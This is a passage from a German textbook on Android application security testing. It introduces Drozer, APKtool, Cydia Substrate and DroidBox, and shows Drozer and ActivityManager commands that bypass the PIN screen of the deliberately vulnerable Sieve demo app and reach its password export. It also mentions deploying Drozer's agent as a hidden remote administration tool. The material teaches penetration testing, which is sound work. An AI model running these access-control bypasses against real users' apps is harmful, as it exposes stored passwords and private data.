ubiattach, ubidetach, ubimkvol, ubirmvol, ubirsvol, ubiupdatevol,<br />

udhcpc, udhcpd, udpsvd, uevent, umount, uname, unexpand, uniq, unix2dos,<br />

unlink, unlzop, unxz, unzip, uptime, users, usleep, uudecode, uuencode,<br />

vconfig, vi, volname, wall, watch, watchdog, wc, wget, which, who,<br />

whoami, whois, xargs, xz, xzcat, yes, zcat, zcip<br />

Codebeispiel 4–1: In BusyBox gebündelte Kommandozeilentools<br />

4.1.2 Drozer<br />

Ein sehr mächtiges Werkzeug beim Assessment von Android-Applikationen ist<br />

Drozer3. Dieses Werkzeug wurde bereits 2012 auf der damaligen BlackHat-<br />

Konferenz von den MWR Labs vorgestellt und ist seitdem aus den Penetrationstests<br />

mobiler Android-Applikationen nicht mehr wegzudenken. Dabei bietet<br />

Drozer im Wesentlichen zwei verschiedene Modi, in denen es seine Stärken zeigt:<br />

1. Aufspüren von Schwachstellen in Applikationen und<br />

2. Bereitstellen von Exploits, um diese Schwachstellen automatisiert auszunutzen.<br />

Drozer selbst gibt es in einer Open-Source-Variante (die wir im weiteren Verlauf<br />

verwenden werden) sowie einer kommerziellen Version, die deutlich mehr Funktionen<br />

und eine übersichtliche GUI bietet, dabei jedoch die eigentliche Funktionsweise<br />

vor dem Nutzer versteckt und deshalb für die Zwecke dieses Buches eher<br />

nicht geeignet ist. Die freie Version von Drozer besteht aus den folgenden drei<br />

wesentlichen Komponenten:<br />

3 Drozer: https://www.mwrinfosecurity.com/products/drozer/


70 4 Sicherheitsprobleme bei Android-Applikationen<br />

Agent: Das eigentliche Herzstück des ganzen Systems. Der Agent ist eine kleine<br />

Android-Applikation, die direkt auf dem zu analysierenden Smartphone installiert<br />

ist. Dieser Agent kann entweder als herkömmliche Applikation mitsamt<br />

einer grafischen Oberfläche ausgerollt werden oder als Remote Administration<br />

Tool (RAT) – z. B. versteckt in einer anderen legitimen Applikation –,<br />

um Geräte unbemerkt zu infizieren und fernzusteuern.<br />

Server: Eine zentrale Instanz, von der aus man mehrere Agenten bedienen kann<br />

und die zugleich als Meldepunkt für ferngesteuerte Agenten verwendet werden<br />

kann (zum Umgehen von NAT oder Firewalls).<br />

Console: Eine Kommandozeile, die auf dem lokalen Rechner läuft und mit den<br />

Agenten kommuniziert.<br />

Um Drozer auf unserem Analyserechner zu installieren, reicht es aus, das passende<br />

Paket von der Herstellerwebseite herunterzuladen und auf dem lokalen<br />

System zu entpacken. Nach erfolgreichem Entpacken sollten mehrere Dateien zu<br />

sehen sein. Die beiden wichtigsten hierbei sind die agent.apk und drozer-2.3.4-<br />

py2.7.egg (je nach Version von Drozer kann diese Datei einen anderen Namen<br />

haben). Damit das Werkzeug ordentlich funktioniert, benötigen wir noch folgende<br />

zusätzliche Pakete bzw. Einstellungen:<br />

■ Python 2.7<br />

■ JDK 1.6 (oder neuer)<br />

■ Android-SDK<br />

■ adb in der PATH-Variablen<br />

■ java in der PATH-Variablen<br />

Ist dies alles erfüllt, so können wir Drozer einfach installieren, indem wir folgenden<br />

Befehl eingeben: easy_install ./drozer-2.3.4-py2.7.egg. Dies installiert<br />

uns Drozer und alle nötigen Python-Pakete. Im Anschluss müssen wir nun noch<br />

den Agenten auf unser Testgerät installieren, mit dem wir später unsere Applikationen<br />

untersuchen möchten. Dies können wir durch einfaches Installieren der<br />

beigelegten Android-Applikation per adb install agent.pak.<br />

Damit haben wir bereits alle Vorkehrungen erfüllt und können mit der Analyse<br />

des Testgerätes oder darauf installierter Applikationen beginnen. Dazu verbinden<br />

wir uns nun per Console mit dem Agenten auf dem Testgerät. Damit dies<br />

funktioniert, müssen wir zuvor noch den TCP-Port über die USB-Schnittstelle<br />

umleiten, auf dem der im Agenten integrierte Server auf unsere Befehle wartet.<br />

Dies geschieht mit folgendem Befehl:<br />

$: adb forward tcp:31415 tcp:31415<br />

Codebeispiel 4–2: Port-Umleitung für Drozer


4.1 Wichtige Tools und Helfer 71<br />

Im Anschluss öffnen wir die Drozer-Applikation auf unserem Testgerät und starten<br />

dort den Server (siehe dazu Abbildung 4–1 auf Seite 72). Nachdem nun die<br />

Port-Umleitung aktiv ist, das Gerät per USB mit unserem Analyserechner verbunden<br />

ist und der Agent auf unsere Verbindung wartet, können wir die lokale<br />

Console auffordern, sich mit dem Agenten zu verbinden. Dies geschieht per:<br />

$: drozer console connect<br />

Codebeispiel 4–3: Aufbauen der Verbindung zum Drozer-Agenten<br />

Hat die Console eine erfolgreiche Verbindung zum Agenten aufgebaut, bekommen<br />

wir einen Kopf eines Androids zu sehen und die bekannte Drozer-Shell (siehe<br />

Codebeispiel 4–4).<br />

Selecting eecba ******* d8f8 ( LGE Nexus 5 4.4.4)<br />

.. ..:.<br />

..o..<br />

.r..<br />

..a.. . ....... . .. nd<br />

ro .. idsnemesisand .. pr<br />

. otectorandroidsneme .<br />

., sisandprotectorandroids +.<br />

.. nemesisandprotectorandroidsn :.<br />

. emesisandprotectorandroidsnemes ..<br />

.. isandp ,.. , rotectorandro ,.. , idsnem .<br />

. isisandp .. rotectorandroid .. snemisis .<br />

, andprotectorandroidsnemisisandprotec .<br />

. torandroidsnemesisandprotectorandroid .<br />

. snemisisandprotectorandroidsnemesisan :<br />

. dprotectorandroidsnemesisandprotector .<br />

drozer Console (v2 .3.4)<br />

dz ><br />

Codebeispiel 4–4: Erfolgreiche Verbindung zum Drozer-Agenten<br />

Mit der nun vorhandenen Drozer-Shell lassen sich Module ausführen, die Teil<br />

von Drozer sind. Um zu sehen, welche Module aktuell installiert sind, können<br />

wir den Befehl list innerhalb der Drozer-Shell benutzen. Möchten wir die Suche<br />

nach Modulen weiter eingrenzen, können wir noch weitere Argumente übergeben<br />

(wie z. B. information).


72 4 Sicherheitsprobleme bei Android-Applikationen<br />

Abb. 4–1: Starten des in Drozer eingebetteten Servers<br />

dz> list information<br />

information.datetime Print Date/Time<br />

information.deviceinfo Get verbose device information<br />

information.permissions Get a list of all permissions used by packages on the<br />

device<br />

Codebeispiel 4–5: Ausgabe der Drozer-Module zum Argument information<br />

Drozer besitzt jedoch nicht nur die Module, die mittels list angezeigt werden,<br />

sondern noch eine Vielzahl weiterer Module, die teilweise auch von externen Penetrationstestern<br />

oder Sicherheitsforschern erstellt wurden. Um einen Überblick<br />

über diese Module zu bekommen, reicht es, den folgenden Befehl einzugeben:<br />

dz> module search -d<br />

......<br />

curesec.CVE-2013-6271<br />

This plugin abuses a bug which allows a malicious app/user to use the com<br />

.android.phone without the necessary permissions.<br />

......<br />

metall0id.tools.setup.nmap


4.1 Wichtige Tools und Helfer 73<br />

Installs Nmap on the Agent. Nmap ("Network Mapper") is a free and open<br />

source (license) utility for network discovery and security auditing.<br />

mwrlabs.secure_random<br />

Finds applications that make use of java.security.SecureRandom as a<br />

source of random numbers. It was identified that on some versions of<br />

Android the SecureRandom random number generator did not correctly<br />

seed the underlying PRNG, which could cause predictable sequences of<br />

numbers to be generated.<br />

......<br />

Codebeispiel 4–6: Ausgabe der manuell installierbaren Drozer-Module<br />

Durch ein module install können diese Module direkt nachinstalliert<br />

werden und stehen dann umgehend zur Verfügung. Um schneller einen Überblick<br />

darüber zu bekommen, welchen Zweck ein gewisses Modul verfolgt, gibt es<br />

eine Namenskonvention für Drozer-Module, die in Tabelle 4–1 abgebildet ist.<br />

Namenskonvention<br />

app.activity<br />

app.broadcast<br />

app.package<br />

app.provider<br />

app.services<br />

auxiliary<br />

exploit<br />

information<br />

scanner<br />

shell<br />

tools.file<br />

tools.setup<br />

Beschreibung<br />

Suche nach bzw. Interaktion mit exportierten Activities<br />

Suche nach bzw. Interaktion mit exportierten Broadcast-Receivern<br />

Suche nach installierten Paketen oder Applikationen inkl. Anzeigen<br />

von Details<br />

Suche nach bzw. Interaktion mit exportierten Content Providern<br />

Suche nach bzw. Interaktion mit exportierten Services<br />

Externe Tools, die zu Drozer portiert wurden<br />

Root- sowie Applikations-Exploits<br />

Auslesen von Informationen und Einstellungen aus dem Endgerät<br />

oder der dort verwendeten Konfiguration<br />

Automatisierte Scanner, die nach bekannten Schwachstellen in<br />

Applikationen suchen<br />

Kommandozeilentools<br />

Werkzeuge, die eine direkte Interaktion mit Dateien zulassen<br />

Upload weiterer externer Tools in die Drozer-Laufzeitumgebung<br />

Tab. 4–1: Liste der Namenskonventionen für Drozer-Module [4]


74 4 Sicherheitsprobleme bei Android-Applikationen<br />

Im weiteren Verlauf dieses Kapitels werden wir immer wieder mit Drozer in Kontakt<br />

kommen und zeigen, wie mächtig dieses Werkzeug ist.<br />

4.1.3 Android PackageManager<br />

Der PackageManager ist Teil eines jeden Android-Systems und dessen Kommandozeile.<br />

Mit diesem Tool kann man Informationen über installierte Pakete/Applikationen<br />

auslesen oder weitere Applikationen installieren. Die für uns wichtigsten<br />

Befehlsaufrufe sind die folgenden:<br />

■<br />

■<br />

■<br />

■<br />

■<br />

adb shell pm list packages – Auflistung aller installierter Pakete und Applikationen<br />

adb shell pm path – Suche der apk-Datei einer installierten Applikation<br />

adb shell pm install – Installation einer Applikation<br />

adb shell pm uninstall – Deinstallation einer Applikation<br />

adb shell pm disable – Deaktivieren einer Applikation<br />

4.1.4 APKtool<br />

Das APKtool4 ist ein weiteres Werkzeug, um Android-Applikationen zu analysieren.<br />

Es erlaubt uns, eine apk-Datei zu dekompilieren, Änderungen an dem Code<br />

der Applikation vorzunehmen und im Anschluss die Applikation wieder automatisiert<br />

zusammenzubauen, sodass sie auf einem Gerät ausgeführt werden kann.<br />

Ein solches Tool ist immer dann wichtig, wenn man gewisse Teile einer Applikation<br />

verändern muss, damit sie auf dem Testgerät lauffähig sind. Klassische<br />

Beispiele für ein solches Patching sind z. B. das Deaktivieren der Root-Erkennung<br />

oder das Ändern von fest definierten Displayauflösungen, aber auch das Ändern<br />

von fest definierten SSL-Zertifikaten, um die Verbindung abhören zu können.<br />

Möchte man eine Android-Applikation mithilfe von APKtool dekompilieren,<br />

so reicht es, den folgenden Befehl einzugeben:<br />

$ ./apktool.sh d testapp.apk -o out<br />

I: Using Apktool 2.0.2 on testapp.apk<br />

I: Loading resource table...<br />

I: Decoding AndroidManifest.xml with resources...<br />

I: Loading resource table from file: /Users/mspreitz/Library/apktool/<br />

framework/1.apk<br />

I: Regular manifest package...<br />

I: Decoding file-resources...<br />

4 APKtool: http://ibotpeaches.github.io/Apktool/


4.1 Wichtige Tools und Helfer 75<br />

I: Decoding values */* XMLs...<br />

I: Baksmaling classes.dex...<br />

I: Copying assets and libs...<br />

I: Copying unknown files...<br />

I: Copying original files...<br />

Codebeispiel 4–7: Dekompilieren einer Android-Applikation mittels APKtool<br />

In diesem Beispiel erhalten wir nun einen neuen Ordner namens out, der alle Dateien<br />

der ursprünglichen Applikation beinhaltet und den Dalvik-Bytecode bereits<br />

in das zuvor schon erwähnte smali übersetzt hat. Diese Dateien können wir nun<br />

eigenen Vorstellungen anpassen und im Anschluss wieder in eine funktionierende<br />

Android-Applikation umwandeln. Letzteres geschieht mithilfe des folgenden<br />

Befehls:<br />

$ ./apktool.sh b out/ testapp2.apk<br />

I: Using Apktool 2.0.2<br />

I: Checking whether sources has changed...<br />

I: Smaling smali folder into classes.dex...<br />

I: Checking whether resources has changed...<br />

I: Building resources...<br />

I: Building apk file...<br />

Codebeispiel 4–8: Kompilieren einer Android-Applikation mittels APKtool<br />

4.1.5 Cydia Substrate<br />

Cydia Substrate5 ist ein Tool, das die Manipulation zur Laufzeit von Applikationen<br />

ermöglicht und aus der iOS-Welt sehr bekannt ist (mehr dazu auch in<br />

Kapitel 6). Es bietet in der Grundversion keinerlei direkten Nutzen, sondern vielmehr<br />

eine Umgebung, die es erlaubt, sich in laufende Applikationen einzuklinken<br />

und deren Aufrufe zu hooken. Durch externe Module bietet es jedoch eine sehr<br />

große Vielfalt an Funktionen und ist aus vielen Assessments nicht wegzudenken.<br />

Ein paar der wichtigsten Erweiterungen für Cydia Substrate auf Android sind<br />

u. a. die folgenden:<br />

RootCloak: Ein Werkzeug, um gängige Root-Erkennung in Applikationen zur<br />

Laufzeit zu deaktivieren bzw. der Applikation vorzugaukeln, dass das darunterliegende<br />

Gerät in einem vertrauenswürdigen Zustand ist.<br />

5 Cydia Substrate: http://www.cydiasubstrate.com/


76 4 Sicherheitsprobleme bei Android-Applikationen<br />

SSL TrustKiller: Eine Erweiterung, die SSL-Zertifikats-Prüfungen manipuliert<br />

(siehe dazu auch Abschnitt 9.2).<br />

Introspy: Ein weiteres Modul, das in der Lage ist, eine Vielzahl von API-Aufrufen<br />

der Applikation mitzuschneiden und an logcat zu senden. Mit diesem Modul<br />

kann man Intents und deren Inhalt sowie Crypto-Operationen und Details –<br />

wie z. B. Schlüssel und verwendete Algorithmen – mitschneiden.<br />

Abb. 4–2: Cydia Substrate auf Android mit aktiviertem Hooking<br />

4.2 Analyse der Zugriffe auf sensible Nutzerdaten<br />

Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />

geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten<br />

untersucht. Es gibt immer wieder Applikationen, die in den Medien genannt<br />

werden, weil sie das Adressbuch der Nutzer auf ihren Servern speichern<br />

oder persönliche Daten von den Smartphones der Nutzer abziehen. Im Folgenden<br />

zeigen wir, welche Berechtigungen man hierfür im Auge behalten sollte und<br />

wie man nach den entsprechenden Zeilen im Code der Applikation suchen kann,<br />

um einen Überblick zu bekommen, was die Applikation mit den so erhaltenen<br />

Daten durchführt.<br />

Die in Tabelle 4–2 abgebildeten Berechtigungen (engl. Permissions) und die<br />

zugehörigen Gruppen (die ab Android 5.0 dem Nutzer angezeigt werden) zählen<br />

zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden sollte<br />

und die bei uns als Analysten eine wichtige Rolle spielen. Dies beruht hauptsächlich<br />

auf der Tatsache, dass die damit verbundenen personenbezogenen Daten im<br />

Bereich Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.


4.2 Analyse der Zugriffe auf sensible Nutzerdaten 77<br />

Berechtigungsgruppe<br />

CALENDAR<br />

CAMERA<br />

CONTACTS<br />

LOCATION<br />

MICROPHONE<br />

PHONE<br />

SENSORS<br />

SMS<br />

STORAGE<br />

Berechtigung<br />

READ_CALENDAR<br />

WRITE_CALENDAR<br />

CAMERA<br />

READ_CONTACTS<br />

WRITE_CONTACTS<br />

GET_ACCOUNTS<br />

ACCESS_FINE_LOCATION<br />

ACCESS_COARSE_LOCATION<br />

RECORD_AUDIO<br />

READ_PHONE_STATE<br />

CALL_PHONE<br />

READ_CALL_LOG<br />

WRITE_CALL_LOG<br />

ADD_VOICEMAIL<br />

USE_SIP<br />

PROCESS_OUTGOING_CALLS<br />

BODY_SENSORS<br />

SEND_SMS<br />

RECEIVE_SMS<br />

READ_SMS<br />

RECEIVE_WAP_PUSH<br />

RECEIVE_MMS<br />

READ_EXTERNAL_STORAGE<br />

WRITE_EXTERNAL_STORAGE<br />

Tab. 4–2: Liste der kritischen Berechtigungen und dazugehörigen Gruppen in Android<br />

Um Applikationen zu finden, die diese Berechtigungen verwenden, reicht es schon<br />

aus, das Android-Manifest zu betrachten und dort die entsprechenden xml-Tags<br />

uses-permission zu finden (siehe Codebeispiel 4–9).


78 4 Sicherheitsprobleme bei Android-Applikationen<br />

<br />

<br />

...<br />

<br />

Codebeispiel 4–9: Auszug aus einem Android-Manifest, das die RECEIVE_SMS-Berechtigung<br />

anfordert<br />

Ebenso können wir aber auch Drozer verwenden, um nach installierten Applikationen<br />

auf einem Endgerät zu suchen, die gewisse Berechtigungen bei der Installation<br />

angefordert haben. Das folgende Codebeispiel zeigt dies anhand der<br />

WRITE_CALENDAR-Berechtigung – also des Schreibzugriffs auf den lokalen<br />

Kalender:<br />

dz> run app.package.list -p android.permission.WRITE_CALENDAR<br />

com.google.android.exchange (Exchange-Dienste)<br />

com.android.providers.calendar (Kalenderspeicher)<br />

com.google.android.email (E-Mail)<br />

com.google.android.googlequicksearchbox (Google-Suche)<br />

com.google.android.calendar (Kalender)<br />

com.android.shell (Shell)<br />

Codebeispiel 4–10: Suche nach Applikationen mit Schreibzugriff auf den Kalender mittels<br />

Drozer<br />

Haben wir nun Applikationen gefunden, die Zugriff auf personenbezogene Daten<br />

verlangen, so besteht der nächste Schritt darin, dass wir die entsprechenden<br />

Codezeilen suchen, die die entsprechenden Daten verarbeiten. Hierzu können wir<br />

eine Liste von Berechtigungen und Zuordnungen zu Codeaufrufen von William<br />

Enck6 verwenden.<br />

Dazu dekompilieren wir – wie in Kapitel 3 gezeigt – die Applikation in die<br />

smali-Sprache und führen mittels grep einfache Suchen über den gesamten Code<br />

der Applikation aus. Dies liefert uns die genauen Abschnitte im Code, die für<br />

eine bestimmte Berechtigung verantwortlich sind, um sie anschließend manuell<br />

zu untersuchen und auf schadhaftes oder ungewolltes Verhalten zu prüfen.<br />

Wir können das Ganze aber auch etwas komfortabler mithilfe von Codeinspect<br />

gestalten. Dazu laden wir die apk-Datei wie in Abschnitt 3.4.7 gezeigt<br />

in das Tool und klicken auf das kleine Fenster unten in der Mitte (Permission<br />

Usage). Hier sehen wir nun sehr schön, welche Codezeilen für welche Berechti-<br />

6 https://github.com/mspreitz/mobile-sandbox/blob/master/DroidLyzer/APIcalls.txt


4.2 Analyse der Zugriffe auf sensible Nutzerdaten 79<br />

Abb. 4–3: Anzeige der für Berechtigungen verantwortlichen Codezeilen mittels Codeinspect<br />

gung zuständig sind (siehe dazu Abbildung 4–3), und können uns durch einfaches<br />

Klicken an die entsprechenden Stellen navigieren.<br />

4.2.1 Android-Applikation zur Laufzeit analysieren<br />

Gerade im Bereich der Zugriffe auf sensible Nutzerdaten wie das Adressbuch<br />

oder Kontakte sind Werkzeuge erhältlich, die die zuvor gezeigten Schritte automatisiert<br />

durchführen und so dem Analysten eine Menge Arbeit und Zeit ersparen.<br />

Zu diesen Werkzeugen zählen im Android-Umfeld vor allem DroidBox7 und<br />

CuckooDroid8 .<br />

Nachdem wir in Kapitel 3 eine erste Beispiel-Applikation aus dem Bereich der<br />

Android-Malware mit verschiedenen Tools manuell analysiert haben, werden wir<br />

in diesem Abschnitt dieselbe Applikation mithilfe von DroidBox automatisiert<br />

analysieren und auswerten, damit Sie einen Vergleich der statischen und dynamischen<br />

Analyse erhalten. Gerade in Bereichen, in denen man realen Schadcode<br />

oder unbekannte Applikationen ausführen möchte, ist es wichtig, ein abgeschottetes<br />

System dazu zu verwenden – in diesem Fall einen eigens dafür erzeugten<br />

Emulator.<br />

7 DroidBox: https://github.com/pjlantz/droidbox<br />

8 CuckooDroid: https://github.com/idanr1986/cuckoo-droid


80 4 Sicherheitsprobleme bei Android-Applikationen<br />

Abb. 4–4: Konfiguration des Emulators für DroidBox<br />

Für DroidBox benötigen wir einen Emulator mit folgender Konfiguration<br />

(vergleiche dazu auch Abbildung 4–4):<br />

■ Name: DroidBox4<br />

■ Device: Nexus 4<br />

■ Target: Android 4.1.2<br />

■ CPU: armeabi-v7a<br />

Nachdem wir den Emulator erfolgreich angelegt haben, ist es nun an der Zeit,<br />

DroidBox selbst zu installieren. Da es sich bei DroidBox lediglich um einige wenige<br />

Python-Skripte handelt, reicht es aus, sich das Paket herunterzuladen und<br />

in einen Ordner im eigenen Homeverzeichnis zu speichern. Dies geschieht über<br />

folgende zwei Aufrufe:<br />

$: wget https://github.com/pjlantz/droidbox/releases/download/v4.1.1/<br />

DroidBox411RC.tar.gz<br />

$: tar xvf DroidBox411RC.tar.gz<br />

x DroidBox_4.1.1/<br />

x DroidBox_4.1.1/droidbox.sh


4.2 Analyse der Zugriffe auf sensible Nutzerdaten 81<br />

x DroidBox_4.1.1/images/<br />

x DroidBox_4.1.1/scripts/<br />

x DroidBox_4.1.1/startemu.sh<br />

x DroidBox_4.1.1/scripts/bytecode.py<br />

x DroidBox_4.1.1/scripts/droidbox.py<br />

x DroidBox_4.1.1/scripts/error.py<br />

x DroidBox_4.1.1/scripts/monkeyrunner.py<br />

x DroidBox_4.1.1/scripts/utils.py<br />

x DroidBox_4.1.1/images/ramdisk.img<br />

x DroidBox_4.1.1/images/system.img<br />

Codebeispiel 4–11: Installation von DroidBox<br />

Im Anschluss daran haben wir DroidBox erfolgreich installiert und können mit<br />

der ersten Analyse beginnen. Dazu starten wir nun den zuvor vorbereiteten Emulator<br />

mittels des Befehls startemu.sh DroidBox4.<br />

Ist der Emulator gestartet und sehen wir den Homescreen und nicht mehr den<br />

Ladebildschirm mit dem Android-Schriftzug, so können wir DroidBox mitteilen,<br />

welche Applikation wir analysieren möchten. Dies geschieht mit folgendem Aufruf<br />

(hier wird die Applikation mit dem Dateinamen malware.apk übergeben):<br />

$: ./ droidbox .sh malware . apk<br />

____ __ ____<br />

/\ _`\ __ /\ \/\ _`\<br />

\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \L\ \ ___ __ _<br />

\ \ \ \ \/\`'__\ __ `\/\ \ /'_` \ \ _


82 4 Sicherheitsprobleme bei Android-Applikationen<br />

Wenn dieses Pop-up wieder ausgeblendet wurde, können wir auf die Konsole<br />

wechseln und mit STRG+C die Analyse beenden. In diesem Fall hat die Malware<br />

bereits ihr komplettes schadhaftes Verhalten gezeigt und ein weiteres Warten oder<br />

erneutes Starten der Applikation würde keine weiteren Erkenntnisse liefern.<br />

Nachdem wir mit STRG+C die Analyse abgebrochen haben, generiert DroidBox<br />

den eigentlichen Report. In der aktuellen Version von DroidBox ist dieser Report<br />

ein JSON-Dictionary. Um dieses JSON-Dictionary weiter auswerten zu können,<br />

ist es am einfachsten, die Ausgabe in eine lokale Datei (z. B. droidboxresults.json)<br />

zu kopieren und diese dann im Nachgang weiter zu analysieren.<br />

#!/usr/bin/python<br />

import json<br />

# open manually created json file<br />

with open('droidboxresults.json') as droidbox_results:<br />

result = json.loads(droidbox_results)<br />

result.keys()<br />

# print SMS messages within droidbox results<br />

print 'message -- type -- number'<br />

for sms in result['sendsms']:<br />

print sms['message'] + '--' + sms['type'] + '--' + sms['number']<br />

Codebeispiel 4–13: Aufbereitete Ausgabe der SMS-API-Kommandos, die DroidBox mitschneiden<br />

konnte<br />

Wie wir schon beim Speichern der Ausgabe in die Datei gesehen haben, ist in<br />

diesem Fall nur etwas über die SMS-API mitgeschnitten worden. Um diese Ergebnisse<br />

ausführlicher betrachten zu können, haben wir das Skript im Codebeispiel<br />

4–13 so gestaltet, dass es nur Infos über die SMS-API ausgibt.<br />

Dieses Ergebnis kennen wir auch schon aus der statischen Analyse. Das Beispiel<br />

zeigt aber, wie man schon bei einer kleinen und sehr einfachen Applikation<br />

massiv Zeit und Arbeitseinsatz sparen kann, wenn man die Analyse mit einer<br />

dynamischen Umgebung durchführt, statt auf eine statische Analyse zu setzen.<br />

Die dynamische Analyse ist jedoch keine »Allzweck-Waffe«, da es immer mehr<br />

schadhafte – aber auch gutartige – Applikationen gibt, die eine Ausführung in einer<br />

überwachten Umgebung erkennen und somit bei der Analyse ihr schadhaftes<br />

Verhalten nicht zeigen. Was wir oft sehen, sind schadhafte Applikationen, die auf<br />

gewisse äußere Einflüsse (eingehende SMS, gewisser Ladestand des Akkus etc.)<br />

warten, bevor sie ihr wirkliches Verhalten zeigen. Dies kann man während einer<br />

dynamischen Analyse nur manuell triggern, wenn man aus der statischen Analyse<br />

weiß, auf welche Aktion die Applikation wartet. Aus diesem Grund ist es wichtig,


4.3 Exportierte Activities erkennen und ausnutzen 83<br />

bei jeder Applikation auf eine Mischung aus statischer und dynamischer Analyse<br />

zu setzen und die Ergebnisse beider Analysen miteinander zu vergleichen.<br />

4.3 Exportierte Activities erkennen und ausnutzen<br />

Wie wir bereits im ersten Kapitel gesehen haben, ist eine Activity bei Android-<br />

Applikationen nichts anderes als ein Bildschirm, der innerhalb der Applikation<br />

definiert ist und Nutzereingaben für die Applikation entgegennimmt. Im Prinzip<br />

kann man über exportierte Activities mehrere Einsprungpunkte für den Benutzer<br />

– oder eine andere Applikation – in die eigentliche Applikation definieren.<br />

Sobald man als Entwickler eine Activity exportiert hat, steht sie allen anderen<br />

Applikationen zur Verfügung und kann von ihnen aufgerufen werden. Selbiges<br />

ist der Fall, sobald man als Entwickler einen Intent-Filter auf eine bestimmte Activity<br />

legt (wie in Codebeispiel 4–14 abgebildet).<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

Codebeispiel 4–14: Intent-Filter, der auf ACTION_SEND-Intents reagiert<br />

Der Nachteil dieser exportierten Einsprungpunkte liegt darin, dass ein Angreifer<br />

nicht zwingend den genau vordefinierten Weg durch eine Applikation wählt,<br />

sondern versucht, über andere Einsprungpunkte hineinzugelangen, um z. B. um<br />

PIN-Abfragen herumzukommen.<br />

Stellen wir uns zum besseren Verständnis die Twitter-Applikation vor. Der<br />

erste Einsprungpunkt ist der Klick auf das Icon, das eine Activity mit den letzten<br />

abonnierten Tweets anzeigt. Es gibt jedoch für andere Applikationen auch die<br />

Möglichkeit, über einen Intent direkt an die Activity zu gelangen, die für das Verfassen<br />

eines Tweets zuständig ist. Mit dieser Activity haben wir nun den zweiten<br />

Einsprungpunkt in die Twitter-Applikation. Als Penetrationstester oder Angreifer<br />

sind wir nun in der Lage, beide Activities direkt aufzurufen. Bei Twitter besteht<br />

hier noch kein Risiko, hätten wir jedoch eine Secure-Twitter-Applikation, die,<br />

bevor man Zugriff auf die Daten (erste Activity) bekommt, nach einer PIN fragt<br />

und bei der diese Abfrage bei der zweiten Activity (Verfassen eines Tweets) vergessen<br />

wurde, so könnte es u. U. möglich sein, dass der Angreifer über die zweite<br />

Activity Zugriff auf die abonnierten Tweets bekommt, ohne die PIN zu wissen.<br />

Mithilfe von Drozer können wir in installierten Applikationen nach solchen<br />

Activities suchen und uns anzeigen lassen, ob weitere Voraussetzungen (z. B. de-


84 4 Sicherheitsprobleme bei Android-Applikationen<br />

finierte Berechtigungen) erfüllt sein müssen, um mit ihnen zu interagieren. Für<br />

dieses Beispiel wählen wir die Sieve-Applikation9 , die von MWR zu Demozwecken<br />

entwickelt wurde.<br />

»Sieve is a small Password Manager app created to showcase some of the<br />

common vulnerabilities found in Android applications.«<br />

Mittels eines Drozer-Moduls namens app.package.attacksurface können wir innerhalb<br />

einer Applikation nach exportierten Komponenten suchen, um Infos darüber<br />

zu erhalten, ob es diesen Angriffsvektor für die gegebene Applikation überhaupt<br />

gibt. Dies geschieht wie in Codebeispiel 4–15 gezeigt.<br />

dz> run app.package.attacksurface com.mwr.example.sieve<br />

Attack Surface:<br />

3 activities exported<br />

0 broadcast receivers exported<br />

2 content providers exported<br />

2 services exported<br />

is debuggable<br />

Codebeispiel 4–15: Suche nach exportierten und angreifbaren Activities mittels Drozer<br />

Wie wir anhand der Ausgabe von Drozer sehen, haben wir drei exportierte Activities,<br />

die wir uns nun genauer anschauen möchten:<br />

dz> run app.activity.info -a com.mwr.example.sieve -u<br />

Package: com.mwr.example.sieve<br />

Exported Activities:<br />

com.mwr.example.sieve.FileSelectActivity<br />

Permission: null<br />

com.mwr.example.sieve.MainLoginActivity<br />

Permission: null<br />

com.mwr.example.sieve.PWList<br />

Permission: null<br />

9 Sieve: https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk


4.3 Exportierte Activities erkennen und ausnutzen 85<br />

Hidden Activities:<br />

com.mwr.example.sieve.SettingsActivity<br />

Permission: null<br />

com.mwr.example.sieve.AddEntryActivity<br />

Permission: null<br />

com.mwr.example.sieve.ShortLoginActivity<br />

Permission: null<br />

com.mwr.example.sieve.WelcomeActivity<br />

Permission: null<br />

com.mwr.example.sieve.PINActivity<br />

Permission: null<br />

Codebeispiel 4–16: Aufruf einer exportierten und angreifbaren Activity mittels Drozer<br />

Hier sehen wir die drei zuvor schon entdeckten exportierten Activities und zusätzlich<br />

die Information, dass keine Berechtigungen nötig sind, um mit ihnen zu<br />

interagieren. Wir können diese Activities nun also einfach per Drozer aufrufen<br />

und schauen, ob wir an der initialen PIN-Abfrage der Sieve-Applikation vorbeikommen.<br />

Dies erreichen wir im Falle der Activity PWList mit folgendem Befehl:<br />

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.<br />

sieve.PWList<br />

Codebeispiel 4–17: Aufruf einer exportierten und angreifbaren Activity mittels Drozer<br />

Wie wir nun sehen, sind wir an der initialen PIN-Abfrage vorbeigekommen und<br />

erhalten alle gespeicherten Einträge in der Applikation angezeigt, die eigentlich<br />

vor unberechtigtem Zugriff geschützt sein sollen.<br />

Neben den öffentlich exportierten Activities gibt es auch noch solche, die nur<br />

applikationsintern zugänglich sind und in Codebeispiel 4–16 als Hidden Activities<br />

angezeigt werden. Diese kann man jedoch über die Android-Shell und den<br />

ActivityManager manuell aufrufen, sobald man im Besitz von Root-Rechten ist.<br />

Kennt man die Applikation etwas genauer, so weiß man, dass sie in den Einstellungen<br />

die Möglichkeit bietet, alle Passwörter und Nutzerkonten auf die SD-<br />

Karte zu exportieren. Ein weiterer Angriffsvektor könnte daher sein, diese Activity<br />

zu erreichen, um dort das Backup anzustoßen und dann die extrahierten<br />

Daten auf der frei zugänglichen SD-Karte zu analysieren. Dies können wir mit<br />

folgendem Aufruf des ActivityManager erreichen:


86 4 Sicherheitsprobleme bei Android-Applikationen<br />

root@hammerhead:/ # am start -n com.mwr.example.sieve/.SettingsActivity<br />

Starting: Intent { cmp=com.mwr.example.sieve/.SettingsActivity }<br />

Starting: Intent { act=android.intent.action.VIEW dat=Starting: cmp=com.mwr.<br />

example.sieve/.SettingsActivity }<br />

Codebeispiel 4–18: Aufruf einer Hidden Activity mit dem Android-ActivityManager<br />

Diese beiden gezeigten Angriffe auf Sieve sind kein Einzelfall und daher sollte<br />

man diese Angriffsvektoren immer berücksichtigen. Ein weiteres Beispiel hierfür<br />

